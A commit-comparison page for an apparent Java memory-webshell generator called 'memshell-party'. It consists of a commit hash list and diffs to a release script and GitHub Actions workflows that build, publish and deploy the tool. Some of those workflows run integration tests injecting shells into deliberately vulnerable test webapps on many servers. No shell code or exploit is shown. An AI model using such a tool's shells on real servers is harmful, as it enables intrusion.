Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
fac0748055 | ||
|
|
1926259fab | ||
|
|
bebd374737 | ||
|
|
6b1a569be9 | ||
|
|
bd308fae10 | ||
|
|
05729fc458 | ||
|
|
59fd17355b | ||
|
|
5e8529a0c7 | ||
|
|
f0526eeb28 | ||
|
|
fab623ac4f | ||
|
|
e9a0eb61d9 | ||
|
|
4f86572192 | ||
|
|
2216aafcad | ||
|
|
39b09cecb1 | ||
|
|
9be935694c | ||
|
|
8d68e18a23 | ||
|
|
29207c1b53 | ||
|
|
8c77a4049b | ||
|
|
1cf3c58b7b | ||
|
|
05892d4b8b | ||
|
|
4be54c0ecb | ||
|
|
5a614e3b39 | ||
|
|
34e1e53b67 | ||
|
|
13097cec99 | ||
|
|
b4af77ddb2 | ||
|
|
245ec99839 | ||
|
|
81926b0a78 | ||
|
|
6ccd139444 | ||
|
|
fd1a560aa2 | ||
|
|
55f676553c | ||
|
|
26b4f48e98 | ||
|
|
131222cf29 | ||
|
|
7b390b7773 | ||
|
|
f8696dada5 | ||
|
|
0e0307fb97 | ||
|
|
798e447ab6 | ||
|
|
c495ef46a4 | ||
|
|
69ef9ab230 | ||
|
|
d6ef24b878 | ||
|
|
d06f238e2f | ||
|
|
12d2a191b2 | ||
|
|
86b31b193d | ||
|
|
beb22b3ab1 | ||
|
|
d0acb7712a | ||
|
|
e7c69befe8 | ||
|
|
4134c7233b | ||
|
|
d179ceada7 | ||
|
|
799302348f | ||
|
|
9b849b6e39 | ||
|
|
e7b5430075 | ||
|
|
6942affbc8 | ||
|
|
48a65574aa | ||
|
|
ee1b2db869 | ||
|
|
1879eaab22 | ||
|
|
4ab8ecba13 | ||
|
|
2e5de88f97 | ||
|
|
842200280d | ||
|
|
ab3f7d1043 | ||
|
|
b476c9a542 | ||
|
|
5239b8cb5d | ||
|
|
f88c5d5606 | ||
|
|
b1e3d6aef1 | ||
|
|
8897c4c607 | ||
|
|
92c0d1d8a8 | ||
|
|
c31c3bd958 | ||
|
|
e1f0e7f4bd | ||
|
|
c272a5387d | ||
|
|
44abb44670 | ||
|
|
1120c215d4 | ||
|
|
aa140a8777 | ||
|
|
88af60fea4 | ||
|
|
9b7d244837 | ||
|
|
460465fe35 | ||
|
|
f33972e460 | ||
|
|
da16649e6f | ||
|
|
d7eaf5c068 | ||
|
|
8286dcd4c3 | ||
|
|
ba449cc8e4 | ||
|
|
e844bd5871 | ||
|
|
8f2872e542 | ||
|
|
1c28a5d4ba | ||
|
|
9925d901f5 | ||
|
|
ed50e93183 | ||
|
|
7baa728d0c | ||
|
|
5cc7f7f2e8 | ||
|
|
828556f82b | ||
|
|
134d1f6f4c | ||
|
|
e2272255ca | ||
|
|
3a437512c7 | ||
|
|
2fd2e549ad | ||
|
|
33ce7f3bb0 | ||
|
|
9796cdca97 | ||
|
|
50af147fc9 | ||
|
|
e0385acf8b | ||
|
|
2acafba2f3 | ||
|
|
020d508f7a | ||
|
|
c42969e73e | ||
|
|
6c76a90f03 | ||
|
|
feeb7014fb | ||
|
|
5f7b398ddb | ||
|
|
2b32b741d6 | ||
|
|
2b8e1f5de7 | ||
|
|
a7a5d461fe | ||
|
|
dd727fbe9c | ||
|
|
f544563315 | ||
|
|
ebd97529ad | ||
|
|
82f46deb76 | ||
|
|
6896426811 | ||
|
|
e006814e96 | ||
|
|
6be89d2448 | ||
|
|
db40ac86d8 | ||
|
|
6a475983db | ||
|
|
5aae3c4dbe | ||
|
|
3f5a2ddb6b | ||
|
|
a5f6411444 | ||
|
|
ede8a649bc | ||
|
|
ff49fe1f0c | ||
|
|
29150c56c9 | ||
|
|
a1f3bd5b6c | ||
|
|
d4efc69643 | ||
|
|
7e3e97d79a | ||
|
|
7c9d330909 | ||
|
|
1c320d7de6 | ||
|
|
a330f6fe29 | ||
|
|
f9dce4f84b | ||
|
|
d4bde3baad | ||
|
|
99b40a945f | ||
|
|
31e1e26488 | ||
|
|
4a3bc0c40a | ||
|
|
3102f10d7b | ||
|
|
4ea5ef68f9 | ||
|
|
8bff3b24c7 | ||
|
|
6361e4d50b | ||
|
|
5fb85f9ff1 | ||
|
|
73c05bc6c6 | ||
|
|
5f153a9052 | ||
|
|
37d3086ca5 | ||
|
|
a4bdde14dd | ||
|
|
c451e42188 | ||
|
|
1a8443b08c | ||
|
|
d37089f063 | ||
|
|
55fc9f8cc0 | ||
|
|
28868f5769 | ||
|
|
c5b753abe5 | ||
|
|
e556cfa80a | ||
|
|
67f21b0abf | ||
|
|
466d236ba2 | ||
|
|
78cbc3bb6c | ||
|
|
9fe2630c36 | ||
|
|
f09ae066bd | ||
|
|
b2520eebac | ||
|
|
65e23040ae | ||
|
|
22123cec7e | ||
|
|
7f7e48233b | ||
|
|
58341b4f7c | ||
|
|
ba04db93be | ||
|
|
57a653235b | ||
|
|
5b2a47e499 | ||
|
|
95617a787b | ||
|
|
83fe7cad8c | ||
|
|
afa8f9dd06 | ||
|
|
b6fca022f9 | ||
|
|
9fa01834e7 | ||
|
|
85b7750ab8 | ||
|
|
9c5dc1fa9d | ||
|
|
a833e3acdd | ||
|
|
b12a8530f2 | ||
|
|
74701926b6 | ||
|
|
a371c6adb6 | ||
|
|
cd9c9ef162 | ||
|
|
d4ff5fdf65 | ||
|
|
1dc27116f1 | ||
|
|
f43218b5e1 | ||
|
|
04bbddee6b | ||
|
|
59cf8674f1 | ||
|
|
9572b90cef | ||
|
|
96044dc231 | ||
|
|
bae97ec554 | ||
|
|
b6ba3c632a | ||
|
|
453ef58b15 | ||
|
|
a37e32deb2 | ||
|
|
faee94d77e | ||
|
|
b0e2e218f0 | ||
|
|
6fee88d761 | ||
|
|
d6613f770a | ||
|
|
5627604ba9 | ||
|
|
c1e0fbbc18 | ||
|
|
74079d81ed | ||
|
|
9792f242ce | ||
|
|
3ae57d6b67 | ||
|
|
69f554ae4e | ||
|
|
8565dd9c52 | ||
|
|
021e0a3e9d | ||
|
|
dc958d49df | ||
|
|
5f83b52bc0 | ||
|
|
59bcd6aecf | ||
|
|
d1a2912428 | ||
|
|
006cce6a74 | ||
|
|
8d240f2a50 | ||
|
|
9d03c04dfa | ||
|
|
8e4dd5ab6a | ||
|
|
8ae71c5b6b | ||
|
|
566286a8fa | ||
|
|
9692ab6e7b | ||
|
|
c75cb2f8ef | ||
|
|
e31fcdeca9 | ||
|
|
f734e3c391 | ||
|
|
8558487b6c | ||
|
|
c5ad3e81cb | ||
|
|
18c0920c27 | ||
|
|
ddfa273938 | ||
|
|
4a1359a736 | ||
|
|
d197691bed | ||
|
|
f7e401bd46 | ||
|
|
cd10fe9a2c | ||
|
|
21acf71af6 | ||
|
|
bb8e4c7a7e | ||
|
|
627ecf6465 | ||
|
|
0658f103cc | ||
|
|
b134b5a5a7 | ||
|
|
cc6bed07a1 | ||
|
|
5d5f866744 | ||
|
|
cf82dd9470 | ||
|
|
b06a39d1b8 | ||
|
|
19faf77d5c | ||
|
|
a3704eb7b7 | ||
|
|
eeed6e45c7 | ||
|
|
3c1c1cb8fc | ||
|
|
26d72cb909 | ||
|
|
70c128ced1 | ||
|
|
dd2d9a8a3e | ||
|
|
ea955feccd | ||
|
|
6c84c44005 | ||
|
|
b581583dce | ||
|
|
a037e5d043 | ||
|
|
06dc282cff | ||
|
|
cae0a38a7a | ||
|
|
d69df0d1c1 | ||
|
|
942fa3ec68 | ||
|
|
f52efcb7a2 | ||
|
|
f55702ecda | ||
|
|
bc53918455 | ||
|
|
ac2b28c1f3 | ||
|
|
e68355df8b | ||
|
|
e4a5215f5f | ||
|
|
4f8ff51f8b | ||
|
|
fc9877aa3a | ||
|
|
8bb338d5a1 | ||
|
|
0e2abdecb3 | ||
|
|
f934e1e7ed | ||
|
|
330544c7f7 | ||
|
|
0fe51f8ec0 | ||
|
|
d2efb56dbc | ||
|
|
827462bcc6 | ||
|
|
e59678188a | ||
|
|
0ea1e7baba | ||
|
|
d0ee5c66bf | ||
|
|
0ee64df302 | ||
|
|
565d05340e | ||
|
|
761de0af90 | ||
|
|
50a9aec83c | ||
|
|
3ecdbf020d | ||
|
|
65d097c43d | ||
|
|
825c276d4e | ||
|
|
b8f3b67ba4 | ||
|
|
59621eefec | ||
|
|
a0e9dfbc85 | ||
|
|
98281f0eae | ||
|
|
2851c5d9e0 | ||
|
|
02bc358498 | ||
|
|
2fe3f82ebc | ||
|
|
8e89db5b96 | ||
|
|
8f46ea2e5e | ||
|
|
9299764994 | ||
|
|
d0b3ad2d95 | ||
|
|
29f854c6dd | ||
|
|
29d0d1b1e7 | ||
|
|
93fc7205cc | ||
|
|
f86675aee1 | ||
|
|
ecfe751f38 | ||
|
|
8e3dee8d13 | ||
|
|
6a899d9f92 | ||
|
|
7bb4890443 | ||
|
|
66c6403dd7 | ||
|
|
9fa0cdd089 | ||
|
|
abe55ba17e | ||
|
|
feb5a2b44a | ||
|
|
bc5e813064 | ||
|
|
bfb7280c47 | ||
|
|
8c9cb252db | ||
|
|
a441e468fb | ||
|
|
f280cddb67 | ||
|
|
b6de448171 | ||
|
|
81f42aae39 | ||
|
|
da5db939be | ||
|
|
e1540f1c05 | ||
|
|
accf83ac9d | ||
|
|
f57ee7536c | ||
|
|
ffd2a636f4 | ||
|
|
6b47b8e488 | ||
|
|
85e9eb8c70 | ||
|
|
47ea535fac | ||
|
|
540559653f | ||
|
|
8a0e3ee5de | ||
|
|
bc9ce37a52 | ||
|
|
02c7abd086 | ||
|
|
8eab3f5633 | ||
|
|
0f03072b56 | ||
|
|
2f59fc80fb | ||
|
|
901a2b3af0 | ||
|
|
8deff1c8d9 | ||
|
|
ad05c8f2da | ||
|
|
e228065aa0 | ||
|
|
af0135286d | ||
|
|
722da5560e | ||
|
|
b6e34e4beb | ||
|
|
3ced92f2d0 | ||
|
|
476d92f173 | ||
|
|
3c7fd8aca5 | ||
|
|
c93ab0e7e0 | ||
|
|
89cd4fef62 | ||
|
|
e6d9ddb210 | ||
|
|
a042900052 | ||
|
|
23d3628786 | ||
|
|
4a9217aa3a | ||
|
|
dd4832a5a8 | ||
|
|
db579ce39e | ||
|
|
4c70dc9148 | ||
|
|
d97ddbd1cc | ||
|
|
b8e91a3697 | ||
|
|
5d97780e34 | ||
|
|
a7751a0467 | ||
|
|
5abaa5bbc1 | ||
|
|
b3780135bb | ||
|
|
c1fefd3510 | ||
|
|
ff70a5f2fe | ||
|
|
d7faa6a59f | ||
|
|
675272a04c | ||
|
|
a284cbbd02 | ||
|
|
9073a97eec | ||
|
|
de2864b892 | ||
|
|
49819156ab | ||
|
|
452e057bd1 | ||
|
|
dfd6328494 | ||
|
|
b78f5dad1c | ||
|
|
fefe25cbce | ||
|
|
30a141c8d4 | ||
|
|
c95a6da29f | ||
|
|
688de30965 | ||
|
|
b7c6303966 | ||
|
|
e6d1aeac3c | ||
|
|
4f58e13c00 | ||
|
|
a47033d051 |
@@ -21,4 +21,15 @@ if __name__ == '__main__':
|
|||||||
if not result_lines:
|
if not result_lines:
|
||||||
print("Specified version not found.", file=sys.stderr)
|
print("Specified version not found.", file=sys.stderr)
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
result_lines.append("## 更新方式\n")
|
||||||
|
result_lines.append("### Docker 部署\n")
|
||||||
|
result_lines.append("```bash\n")
|
||||||
|
result_lines.append("docker rm -f memshell-party\n\n")
|
||||||
|
result_lines.append("docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest\n")
|
||||||
|
result_lines.append("```\n")
|
||||||
|
result_lines.append("### Jar 包启动\n")
|
||||||
|
result_lines.append("> 仅支持 JDK17 及以上版本\n")
|
||||||
|
result_lines.append("```bash\n")
|
||||||
|
result_lines.append(f"java -jar --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED boot-{version.strip('v')}.jar\n")
|
||||||
|
result_lines.append("```\n")
|
||||||
print("".join(result_lines).strip())
|
print("".join(result_lines).strip())
|
||||||
@@ -0,0 +1,116 @@
|
|||||||
|
name: "Dev Deploy"
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- dev
|
||||||
|
paths-ignore:
|
||||||
|
- 'docs/**'
|
||||||
|
- '**.md'
|
||||||
|
- '**/*.png'
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build-jar:
|
||||||
|
name: Build Jar
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Setup Bun
|
||||||
|
uses: oven-sh/setup-bun@v2
|
||||||
|
with:
|
||||||
|
bun-version: latest
|
||||||
|
|
||||||
|
- name: Build Web with Bun
|
||||||
|
working-directory: web
|
||||||
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
|
- name: Build Boot with Gradle
|
||||||
|
run: ./gradlew :boot:test :boot:bootjar
|
||||||
|
|
||||||
|
- name: Upload Boot Jar
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: boot
|
||||||
|
path: boot/build/libs/*.jar
|
||||||
|
|
||||||
|
docker-push:
|
||||||
|
name: Docker Push
|
||||||
|
needs: [ build-jar ]
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Download Boot Jar
|
||||||
|
uses: actions/download-artifact@v4
|
||||||
|
with:
|
||||||
|
name: boot
|
||||||
|
path: boot/build/libs
|
||||||
|
|
||||||
|
- name: Login to Docker Hub
|
||||||
|
uses: docker/login-action@v3
|
||||||
|
with:
|
||||||
|
registry: docker.io
|
||||||
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
|
- name: Set up QEMU
|
||||||
|
uses: docker/setup-qemu-action@v3
|
||||||
|
- name: Set up Docker Buildx
|
||||||
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
|
- name: Build and push
|
||||||
|
uses: docker/build-push-action@v6
|
||||||
|
with:
|
||||||
|
context: boot
|
||||||
|
platforms: linux/amd64,linux/arm64
|
||||||
|
push: true
|
||||||
|
tags: docker.io/reajason/memshell-party:dev
|
||||||
|
|
||||||
|
deploy-maven:
|
||||||
|
name: Deploy to Maven Central
|
||||||
|
needs: [ build-jar ]
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Publish with Gradle
|
||||||
|
env:
|
||||||
|
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
|
||||||
|
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
|
||||||
|
run: ./gradlew publishAllToMavenCentral
|
||||||
|
|
||||||
|
deploy-northflank:
|
||||||
|
name: Deploy to Northflank
|
||||||
|
needs: [ docker-push ]
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
env:
|
||||||
|
NORTHFLANK_API_KEY: ${{ secrets.NORTHFLANK_API_KEY }}
|
||||||
|
steps:
|
||||||
|
- name: Update Deployment
|
||||||
|
run: |
|
||||||
|
curl --header "Content-Type: application/json" \
|
||||||
|
--header "Authorization: Bearer $NORTHFLANK_API_KEY" \
|
||||||
|
--request POST \
|
||||||
|
--data '{"external":{"imagePath":"docker.io/reajason/memshell-party:dev","credentials":"docker-hub"},"docker":{"configType":"default"}}' \
|
||||||
|
https://api.northflank.com/v1/projects/memshellparty/services/prereleasememshellparty/deployment
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
name: Docker Build Test
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- master
|
||||||
|
paths-ignore:
|
||||||
|
- 'docs/**'
|
||||||
|
- 'boot/**'
|
||||||
|
- 'examples/**'
|
||||||
|
- 'vul/**'
|
||||||
|
- 'web/**'
|
||||||
|
- '**.md'
|
||||||
|
- '**/*.png'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
docker-build-test:
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout code
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
- name: Build Docker image
|
||||||
|
run: |
|
||||||
|
docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
|
||||||
|
docker images
|
||||||
|
- name: Run Docker container
|
||||||
|
run: |
|
||||||
|
docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
|
||||||
|
sleep 10
|
||||||
|
- name: Test with curl
|
||||||
|
run: |
|
||||||
|
if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
|
||||||
|
echo "Test successful!"
|
||||||
|
else
|
||||||
|
echo "Test failed!"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
@@ -0,0 +1,41 @@
|
|||||||
|
name: docker-push
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
inputs:
|
||||||
|
path:
|
||||||
|
description: 'Path'
|
||||||
|
required: true
|
||||||
|
default: '/redqueen-memshell-party'
|
||||||
|
tag:
|
||||||
|
description: "Tag"
|
||||||
|
required: true
|
||||||
|
default: "redqueen"
|
||||||
|
jobs:
|
||||||
|
docker-push:
|
||||||
|
name: Docker Push
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- name: Login to Docker Hub
|
||||||
|
uses: docker/login-action@v3
|
||||||
|
with:
|
||||||
|
registry: docker.io
|
||||||
|
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||||
|
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||||
|
|
||||||
|
- name: Set up QEMU
|
||||||
|
uses: docker/setup-qemu-action@v3
|
||||||
|
- name: Set up Docker Buildx
|
||||||
|
uses: docker/setup-buildx-action@v3
|
||||||
|
|
||||||
|
- name: Build and push RedQueen
|
||||||
|
uses: docker/build-push-action@v6
|
||||||
|
with:
|
||||||
|
context: .
|
||||||
|
platforms: linux/amd64,linux/arm64
|
||||||
|
build-args: |
|
||||||
|
ROUTE_ROOT_PATH=${{ inputs.path }}
|
||||||
|
CONTEXT_PATH=${{ inputs.path }}
|
||||||
|
push: true
|
||||||
|
tags: |
|
||||||
|
docker.io/reajason/memshell-party:${{ inputs.tag }}
|
||||||
@@ -0,0 +1,76 @@
|
|||||||
|
name: MemShell IntegrationTest
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths:
|
||||||
|
- './github/workflows/memshell-integration-test.yml'
|
||||||
|
- '**/memshell/**'
|
||||||
|
- '**/packer/**'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
memshell-integration-test:
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
cases:
|
||||||
|
- middleware: "tomcat"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jetty"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jbossas"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "jbosseap"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "wildfly"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "glassfish"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "resin"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "payara"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "websphere"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "websphere7"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "weblogic"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "springwebmvc"
|
||||||
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
|
- middleware: "springwebflux"
|
||||||
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
|
- middleware: "xxljob"
|
||||||
|
depend_tasks: ""
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: ${{ matrix.cases.middleware }}
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
uses: mikepenz/action-junit-report@v5
|
||||||
|
if: success() || failure()
|
||||||
|
with:
|
||||||
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
@@ -0,0 +1,72 @@
|
|||||||
|
name: Probe IntegrationTest
|
||||||
|
|
||||||
|
on:
|
||||||
|
workflow_dispatch:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths:
|
||||||
|
- '**/probe/**'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
test:
|
||||||
|
strategy:
|
||||||
|
fail-fast: false
|
||||||
|
matrix:
|
||||||
|
cases:
|
||||||
|
- middleware: "tomcat"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jetty"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "jbossas"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "jbosseap"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "wildfly"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "glassfish"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "resin"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "payara"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
|
||||||
|
- middleware: "websphere"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "websphere7"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "weblogic"
|
||||||
|
depend_tasks: ":vul:vul-webapp:war"
|
||||||
|
- middleware: "springwebmvc"
|
||||||
|
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
|
||||||
|
- middleware: "springwebflux"
|
||||||
|
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
name: ${{ matrix.cases.middleware }}
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Prepare for Integration Test
|
||||||
|
run: ./gradlew ${{ matrix.cases.depend_tasks }}
|
||||||
|
|
||||||
|
- name: Integration Test with gradle
|
||||||
|
run: ./gradlew :integration-test:test --tests '*.probe.${{ matrix.cases.middleware }}.*' --info
|
||||||
|
|
||||||
|
- name: Export Integration Test Summary
|
||||||
|
uses: mikepenz/action-junit-report@v5
|
||||||
|
if: success() || failure()
|
||||||
|
with:
|
||||||
|
report_paths: '**/build/test-results/test/TEST-*.xml'
|
||||||
@@ -15,9 +15,6 @@ jobs:
|
|||||||
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
changelog: ${{ steps.get_changelog.outputs.changelog }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
- uses: actions/setup-python@v5
|
|
||||||
with:
|
|
||||||
python-version: '3.13'
|
|
||||||
|
|
||||||
- name: Get Version
|
- name: Get Version
|
||||||
id: get_version
|
id: get_version
|
||||||
@@ -38,7 +35,6 @@ jobs:
|
|||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
needs: [ info ]
|
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -51,11 +47,6 @@ jobs:
|
|||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
- name: Setup Node
|
|
||||||
uses: actions/setup-node@v4
|
|
||||||
with:
|
|
||||||
node-version: '23'
|
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
with:
|
with:
|
||||||
@@ -66,13 +57,13 @@ jobs:
|
|||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle
|
||||||
run: ./gradlew -Pversion=${{ needs.info.outputs.version-without-v }} :boot:bootjar -x test
|
run: ./gradlew :boot:bootjar -x test
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
- name: Upload Boot Jar
|
||||||
uses: actions/upload-artifact@v4
|
uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
|
path: boot/build/libs/*.jar
|
||||||
|
|
||||||
docker-push:
|
docker-push:
|
||||||
name: Docker Push
|
name: Docker Push
|
||||||
@@ -118,6 +109,41 @@ jobs:
|
|||||||
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
ghcr.io/reajason/memshell-party:${{ needs.info.outputs.version-without-v }}
|
||||||
ghcr.io/reajason/memshell-party:latest
|
ghcr.io/reajason/memshell-party:latest
|
||||||
|
|
||||||
|
- name: Build and push RedQueen
|
||||||
|
uses: docker/build-push-action@v6
|
||||||
|
with:
|
||||||
|
context: .
|
||||||
|
platforms: linux/amd64,linux/arm64
|
||||||
|
build-args: |
|
||||||
|
